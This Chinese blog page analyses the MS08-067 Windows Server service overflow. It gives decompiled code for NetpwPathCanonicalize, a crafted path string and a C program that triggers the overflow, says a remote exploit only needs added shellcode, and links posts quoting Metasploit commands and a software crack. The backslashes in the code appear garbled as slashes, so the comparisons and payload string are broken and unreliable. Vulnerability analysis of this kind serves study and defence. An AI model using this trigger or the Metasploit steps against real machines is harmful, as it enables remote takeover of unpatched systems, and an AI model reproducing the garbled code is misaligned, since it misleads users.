MS08-067漏洞分析

手把手复现:在虚拟机里搭建一个Conficker蠕虫分析环境(含MS08-067漏洞靶机) 本文详细介绍了如何在虚拟机隔离环境中搭建Conficker蠕虫分析平台,包括MS08-067漏洞靶机的配置、蠕虫行为模拟及安全监控技术。通过实战演示,帮助网络安全研究者深入理解Conficker蠕虫的攻击模式和技术细节,提升恶意软件分析能力。 阅读详情

 by diyhack

 

前天看到微软紧急发布了一个漏洞补丁,就去看了下,发现该漏洞影响覆盖面非常广,包括Windows 2000/XP/2003/Vista/2008的各个版本,甚至还包括测试阶段的Windows 7 Pre-Beta,并且漏洞存在于Windows系统默认开启的Server服务当中,而且超越了当年风靡一时的MS06-040漏洞(又想起当年用该漏洞。。。。。。。嘿嘿)。这也难怪微软打破周二发布补丁的惯例。于是下了补丁研究研究。

下完补丁,发现被打补丁的又是 Netapi32.dll,对比原文件和补丁中的文件,有问题的函数又是
NetpwPathCanonicalize(MS06-040也是这个函数,具体信息请搜索)简单说下这个函数:
该函数用于标准化一个路径,一般用于本地调用,若调用者指定了一个远程计算机名将会使用RPC。

该函数能够处理的路径类型:
1.相对路径 e.g. foo/bar
2.绝对路径 e.g. /foo/bar 
3.UNC 路径 e.g. //computer/share/foo
4.全路径  e.g. d:/foo/bar

该函数声明如下:
DWORD
NetpwPathCanonicalize(
LPWSTR PathName, //需要标准化的路径
LPWSTR Outbuf, //存储标准化后的路径的Buffer
DWORD OutbufLen, //Buffer长度
LPWSTR Prefix, //可选参数,当PathName是相对路径时有用
LPDWORD PathType, //存储路径类型
DWORD Flags // 保留,为0
)

该函数中在一个循环里使用wcscpy,恶意攻击者通过构造一个精心设计的路径将使漏洞触发。

结合IDA分析该函数:(F5 + 整理 + 主要代码)

int __stdcall NetpwPathCanonicalize(LPWSTR PathName, LPWSTR Outbuf, DWORD OutbufLen, LPWSTR Prefix, LPDWORD PathType, DWORD Flags)
{
  bool v7;
  int result;

  v7 = !Prefix || !*Prefix;
  Prefix = (LPWSTR)*PathType;

    if ( *PathType || (result = NetpwPathType(PathName, (int)&Prefix, 0), !result) )
    {
      if ( v7 || (result = NetpwPathType(Prefix, (int)&Flags, 0), !result) )
      {
        if ( OutbufLen != 0 )
        {
          *Outbuf = 0;
          result = CanonPathName(Prefix, PathName, Outbuf, OutbufLen, 0); //核心函数,主要处理在这里,问题也出在这里
          if ( !result )
            result = NetpwPathType(Outbuf, (int)PathType, 0);
        }
        else
        {
          result = 2123;
        }
      }
    }

  return result;
}

int __stdcall CanonPathName(LPWSTR PathPrefix, LPWSTR PathName, LPWSTR Buffer, DWORD BufferSize, LPDWORD RetSize)
{
  size_t preLen;
  size_t pathLen;
  wchar_t pathBuffer[MAX_PATH*2 + 1];

  if ( PathPrefix && *PathPrefix )
  {
    preLen = wcslen(PathPrefix);
    if ( preLen != 0)
    {
      if ( preLen > 520 ) //520 = sizeof(pathBuffer) - 1
        return 0x7Bu; // ERROR_INVALID_NAME
       
      wcscpy(pathBuffer, PathPrefix);
     
      if ( pathBuffer[preLen-1] != '//' && pathBuffer[preLen-1] != '/') //判断前缀是否以'/'或'/'结尾
      {
          wcscat(pathBuffer, L"//");
          ++preLen;
      }
      if ( PathName[0] == '//' || PathName[0] == '/' )
        ++pathLen;
    }
  }
  else
  {
    pathBuffer[0] = 0;
  }
  pathLen = wcslen(PathName);

  if (pathLen + preLen > sizeof(pathBuffer) - 1)
    return 0x7Bu; // ERROR_INVALID_NAME

  wcscat(pathBuffer, PathName);

  if ( pathBuffer )
  {
    do //该循环把路径中的'/'转换成'/'
    {
      if ( *pathBuffer == '/' )
        *pathBuffer = '//';
      ++pathBuffer;
    }
    while ( *pathBuffer );
  }
  if ( !sub_71C4A2CA() && !ConPathMacros(pathBuffer) ) //ConPathMacros中存在缓冲区溢出漏洞!!!
    return 0x7Bu;
  pathLen = 2 * wcslen(&pathBuffer) + 2;
  if ( pathLen > BufferSize )
  {
    if ( RetSize )
      *RetSize = pathLen;
    result = 0x84Bu;
  }
  else
  {
    wcscpy(Buffer, &pathBuffer);
    result = 0;
  }
  return result;
}

函数ConPathMacros在附件中可以找到。
在测试时大家可以把函数ConPathMacros单独提取出来,传入一个路径,看其是怎样去掉路径中的/..和/.宏

构造恶意路径:
形如".////x//..//..//aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"即可导致函数ConPathMacros漏洞的触发

溢出 Netapi32.dll:

int main(int argc, char* argv[])
{
    WCHAR szBuffer[] = L".////x//..//..//aaaaaaaaaaaaaaaaaaaaaaaaaaaa";

    //ConvertPathMacros(szBuffer);
    //printf("%S/n", szBuffer);

    HMODULE h = LoadLibrary("netapi32.dll");
    if(h != NULL)
    {
        NetpwPathCanonicalize = (pNetpwPathCanonicalize)GetProcAddress(h, "NetpwPathCanonicalize");
        if(NetpwPathCanonicalize != NULL)
        {
            WCHAR Buffer[256] = L"";
            DWORD type = 1000; //不能为0,否则构造的路径过不了NetpwPathType的检查
            DWORD ret = NetpwPathCanonicalize(szBuffer, Buffer, 512, NULL, &type, 0);
            printf("ret = %x/n", ret);
            printf("%S/n", Buffer);
        }
        FreeLibrary(h);
    }
    return 0;
}

漏洞的源头找到了,加个shellcode写个Remote Exploit不难。。。况且可以参考 MS06-040,

手工实现RPC通信等等。。。

Bulletin:
http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx

《Metasploit渗透测试魔鬼训练营》MS08-067 漏洞还原与分析 《Metasploit渗透测试魔鬼训练营》MS08-067 漏洞还原与分析 漏洞还原 按照书上的方法,我们还原这个漏洞,并尝试对win2k3进行渗透。 但是我尝试了好几次才成功,其中有几个小坑,这里给大家提个醒: 要保证win2k3主机的Server服务是开启状态,我的一开始就是关闭状态,导致失败了。 新版的metasploit不需要设置lhost和lport参数,当然你非要设置也可... 阅读详情

相关推荐

ms08_067漏洞分析 实验成功复现 xpsp3利用条件

一、环境: 目标:windows xpsp3 中文版(英文版成功率更高) 二、设置(缺一不可): 1.关闭防火墙服务(否则会显示连接超时) 2.关闭自动更新服务 3.开启445端口 4.开启server服务 5.开启computer browser服务 6.开启workstation服务 三、msf漏洞复现metasploit 1):查找漏洞 命令:search ms08_067 2):选择rank等级较高的模块(great) 命令:use exploit/windows/smb/

田一柠的博客 497

MS08_067漏洞复现与总结

00x00 原理:攻击者利用受害主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓冲区,获取远程代码执行的权限,从而完全控制主机 安全补丁:KB958644 00x01 #准备工作 两台虚拟机,一台为kali ip:10.10.10.131 一台为Windowsxpsp3英文版 ip:10.10.1...

马赛克的博客 7213

MS08-067 (CVE-2008-4250) 远程命令执行漏洞

文章目录前言一、漏洞简介二、影响范围三、漏洞危害四、本地复现五、补丁编号六、 Windows Server 2003 SP2 中文版利用方法七、漏洞原理深度剖析 前言 本文为08年出现的漏洞进行复现,仅作为学习参考,切勿非法利用! 一、漏洞简介 MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize 函数时触发的,而NetPathCanonicalize 函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,

李同學AI安全 1万+

渗透- 基于metasploit的内网渗透 - ms08-067漏洞利用及其原理分析

ms08-067漏洞利用 内网渗透: 利用漏洞:Ms08-067 使用工具metasploit 前提:靶机具有ms08-067漏洞(可以用nessus扫描),在同一局域网,且具有连通性。 基本命令: Use exploit/windows/smb/ms08_067_netapi Set rhost 192.168.10.2 Set lhost 192.168.10.1 Set lport 7777...

joke_ljh的博客 2621

MS08-067漏洞扫描工具及源码分析

本文还有配套的精品资源,点击获取 简介:MS08-067扫描工具含有源代码,旨在教育和研究目的,允许用户学习和理解工具的工作原理。该工具针对微软安全漏洞MS08-067(Windows Server服务远程执行代码漏洞),影响多个Windows操作系统版本。通过分析源代码,安全专家和爱好者能提升网络安全意识和防护技能。此资源包含使用说明文件和可执行的扫描工具,使用户能够检查...

weixin_35749440的博客 1117

MS08067漏洞利用分析报告

MS08067漏洞利用分析,主要通过两个虚拟机系统实现RPC调用,并通过该测试,完成攻击代码测试

MS08-067漏洞 远程溢出入侵测试

MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程履行代码。在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击.  MS08_067漏洞渗透...

luoshenwei3533的博客 1万+

WPF基础系列六:MVVM框架

MVVM框架 文章目录MVVM框架前言一、MVVM框架简介1. 什么是MVVM?2. MVVM的优势3.MVVM的应用场景二、MVVM使用及示例 前言 在WPF开发中,经典的编程模式是MVVM,是为WPF量身定做的模式,该模式充分利用了WPF的数据绑定机制,最大限度地降低了Xmal文件和CS文件的耦合度,也就是UI显示和逻辑代码的耦合度,如需要更换界面时,逻辑代码修改很少,甚至不用修改。 与WinForm开发相比,我们一般在后置代码中会使用控件的名字来操作控件的属性来更新UI,而在WPF中通常是通过

iceberg7012的博客 2万+

MS08-067漏洞复现

漏洞简介: MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。(来自百度百科) 危害: 黑客可以利用该漏洞向网络中的电脑发出远程的特制RPC请求,无需身份验证便可在电脑中任意执行远程代码。这就是说,即便你的电脑设置了管理员密码,也只能任由黑客摆布。(

一个未完成的故事 3856

从查表法到实时计算:SimpleFOC库中正弦函数优化的技术演进

本文深入探讨了SimpleFOC库v2.0.1版本中正弦函数优化技术的演进,从传统查表法到实时计算的创新实践。通过定点数优化、对称性利用和分段线性插值等关键技术,实现了在嵌入式电机控制中的高效三角函数计算,显著提升性能和资源利用率。

weixin_28273593的博客 454

深入浅出SSD:固态存储核心技术、原理与实战(文末赠书)

作为经典畅销书的升级版,本书在第1版的基础上新增了大量新知识(如闪存、UFS、测试、文件系统等),并改写或删减了许多过时或不适用的内容,总修改量超过60%。本书由SSD技术社区SSDFans的核心团队成员联合业界、高校SSD方面的专家共同完成,相对于第1版,内容更全面、更新,也更有深度。本书从产品、技术和应用3个维度展开,全面、详细讲解了SSD的发展历史、产品形态、工作原理、整体架构,以及各个功能模块的原理和使用,从SSD的前端接口协议到FTL算法,再到后端的闪存和纠错,以及测试,本书都有涉及。

阿玥的小博客 3126

MS08-067漏洞分析与复现

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言 一、pandas是什么? 二、使用步骤 1.引入库 2.读入数据 总结 前言 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。 提示:以下是本篇文章正文内容,下面案例可供参考 一、pandas是什么? 示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据.

qq_43443410的博客 3803

SAP MM新手避坑指南:工厂间调拨用301还是303?手把手教你选对移动类型

本文深入解析SAP MM模块中工厂间调拨的301与303移动类型,帮助新手避开常见陷阱。通过对比一步法(301)和两步法(303+305)的核心差异、适用场景及财务影响,提供清晰的决策框架和实战技巧,确保库存调拨的准确性和效率。

weixin_29223603的博客 349

MS08-067漏洞复现2024,包含环境搭建,流量分析

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行

m0_46624929的博客 2596

JAVA实战:通过营地号解析王者荣耀用户数据(战绩、英雄、皮肤全掌握)

本文详细介绍了如何使用JAVA通过营地号解析王者荣耀用户数据,包括战绩、英雄和皮肤信息。通过HttpClient发送请求并解析JSON数据,开发者可以获取玩家对局详情、英雄使用情况和皮肤偏好等关键指标,为游戏数据分析提供实用解决方案。

sun99的博客 872

手把手教你学Simulink——基于Simulink的机械臂正运动学仿真建模示例

机械臂正运动学概述正运动学的核心在于根据每个关节的角度值,通过坐标变换(如DH参数法或齐次变换矩阵)计算出末端执行器相对于基座的位置和姿态。常用的数学工具包括旋转矩阵、平移向量以及它们组合而成的齐次变换矩阵。仿真目标设计并实现一个机械臂正运动学模型。输入关节角度,输出末端执行器的位置和姿态。分析不同关节角度下的机械臂位置变化。假设我们有一个简单的3自由度(DOF)平面机械臂,其各关节的长度分别为l1l1​、l2l2​和l3l3​。在Simulink中,可以使用。

MHD0815的博客 360

ms08-067漏洞的复现及所遇到的问题分析

ms08-067

ianTok 6179

DSP的CLA调试技巧

本文介绍了基于TMS320F28377D的CLA(Control Law Accelerator)开发实战教程,涵盖基础配置、编程、调试与优化全流程。主要内容包括:CLA核心特性及其作为实时控制协处理器的优势;开发环境搭建与工程配置要点;CLA任务调度、数据交换及编程约束;调试技巧如断点设置和性能分析方法;进阶应用案例(批量除法运算)及优化策略;以及推荐的学习资源和硬件平台。教程强调数据一致性和任务同步问题,为快速上手CLA开发提供实用指导。

1047

0day 安全 之 MS08-067漏洞分析

这这个漏洞也是根据 0day这本书写的 这本书前面的 异常 还有 C++虚函数 感觉看的还行 也就没有必要发到博客里面 里面的demo 也是很有趣的 然后后面就直接复现漏洞 中间的东西感觉看的还行了 不过我在查阅资料 百度的时候 发现网上能讲清楚这个漏洞的很少。 大家基本上都是拿MSF 直接用框架去打 缺没有从底层认真分析这个漏洞 我在这里分析一波,,,如果哪里不对 还请指教 。。。...

qq_41071646的博客 498

不加行也能填满:用 ABAP BDC 驯服 Table Control 滚动录制缺陷,批量维护供应商银行账户

摘要 本文探讨了在SAP ECC/S4HANA系统中处理供应商主数据时,Table Control控件带来的批量导入挑战。文章指出,银行账户维护界面中Table Control的滚动动作难以被录制工具捕捉,导致批量导入数据时仅能填充前5行。解决方案是通过BDC_OKCODE显式触发翻页(如=P+),并配合行号拼接(如(01)~(05))将数据写入不可见行。文中提供了完整的ABAP程序示例,展示了如何读取外部文件、动态生成BDCDATA、处理表格翻页逻辑,最终通过CALL TRANSACTION执行XK01事

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 275

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

MS08-067漏洞复现与流量分析:从经典攻击到现代检测

缓冲区溢出是网络安全领域的基础性漏洞类型,其原理是通过向程序输入超出预定长度的数据,覆盖相邻内存区域,从而改变程序执行流程。这种技术价值在于它揭示了软件安全中内存管理的核心缺陷,是理解现代复杂漏洞利用链的基石。在工程实践中,通过复现经典漏洞如MS08-067,可以深入掌握远程代码执行和Shellcode注入等关键技术。应用场景包括渗透测试、入侵检测规则开发和安全研究教学。本文以MS08-067为例,结合Metasploit框架和Wireshark工具,详细演示了从环境搭建、漏洞利用到网络流量捕获与分析的全过

weixin_30291791的博客 384

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

MS08-067(CVE-2008-4250)Windows 服务器服务远程代码执行漏洞分析与 Metasploit 利用实战

MS08-067(对应 CVE-2008-4250,补丁编号 KB958644)是 Windows 平台历史上影响范围最广、利用最成熟的远程代码执行漏洞之一,广泛影响 Windows 2000 / XP / Server 2003 / Vista / Server 2008 等系统。本篇文章以 [MS08-067/README.md](https://link.gitcode.com/i/cf98

gitblog_00270的博客 97

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

Nessus漏洞扫描实战:从安装到扫描Win2000靶机完整教程

本文提供了一份详细的Nessus漏洞扫描实战教程,涵盖从环境准备、工具下载安装到配置扫描策略的全过程。教程以Windows 2000为靶机,演示了如何执行扫描、深度分析漏洞报告,并解读了典型高危漏洞的发现与修复建议,帮助安全从业者掌握主动风险评估的核心技能。

hhh00的博客 907
上一篇: 全面解析恶意软件 从rootkit到bootkit
下一篇: 构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值